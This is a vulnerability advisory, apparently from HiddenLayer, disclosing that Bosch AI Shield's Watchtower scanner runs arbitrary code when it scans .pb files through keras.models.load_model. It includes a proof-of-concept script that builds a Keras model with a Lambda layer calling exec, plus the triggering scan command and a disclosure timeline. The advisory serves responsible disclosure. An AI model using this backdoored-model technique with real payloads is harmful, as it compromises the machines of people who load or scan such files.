keras.models.load_model when scanning .pb files leads to arbitrary code execution

Products Impacted

This vulnerability is present in Watchtower v0.9.0-beta up to v1.2.2.

CVSS Score: 7.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

To exploit this vulnerability, an attacker would create a malicious .pb file which executes code when loaded and send this to the victim.

import tensorflow as tf


def example_payload(*args, **kwargs):
exec("""
print("")
print('Arbitrary code execution')
print("")""")
return 10


num_classes = 10
input_shape = (28, 28, 1)

model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(example_payload, name="custom")])

model.save("backdoored_model_pb", save_format="tf")

The victim would then attempt to scan the file to see if it’s malicious using this command, as per the watchtower documentation:

python watchtower.py --repo_type file --path ./backdoored_model_pb/saved_model.pb

The code injected into the file by the attacker would then be executed, compromising the victim’s machine. This is due to the keras.models.load_model function being used in unsafe_check_pb in the watchtower/src/utils/model_inspector_util.py file, which is used to scan .pb files. When a model is loaded with this function, it executes any lambda layers contained in it, which executes any malicious payloads. A user could also scan this file from a GitHub or HuggingFace repository using Watchtower, using the built-in functionality.

def unsafe_check_pb(model_path: str):
"""
The unsafe_check_pb function is designed to examine models with the .pb extension for potential vulnerabilities.
...
"""

tool_output = list()
# If the provided path is a file, get the parent directory
if os.path.isfile(model_path):
model_path = os.path.dirname(model_path)

try:
model = tf.keras.models.load_model(model_path)
Timeline

Timeline

August 19, 2024 — Disclosed vulnerability to Bosch AI Shield

October 19, 2024 — Bosch AI Shield responds, asking for more time due to the report getting lost in spam filtering policies

November 27, 2024 — Bosch AI Shield released a patch for the vulnerabilities and stated that no CVE would be assigned

“After a thorough review by our internal security board, it was determined that the issue does not warrant a CVE assignment.”

December 16, 2024 — HiddenLayer public disclosure

Project URL

https://www.boschaishield.com/
https://github.com/bosch-aisecurity-aishield/watchtower

Researcher: Leo Ring, Security Research Intern, HiddenLayer
Researcher: Kasimir Schulz, Principal Security Researcher, HiddenLayer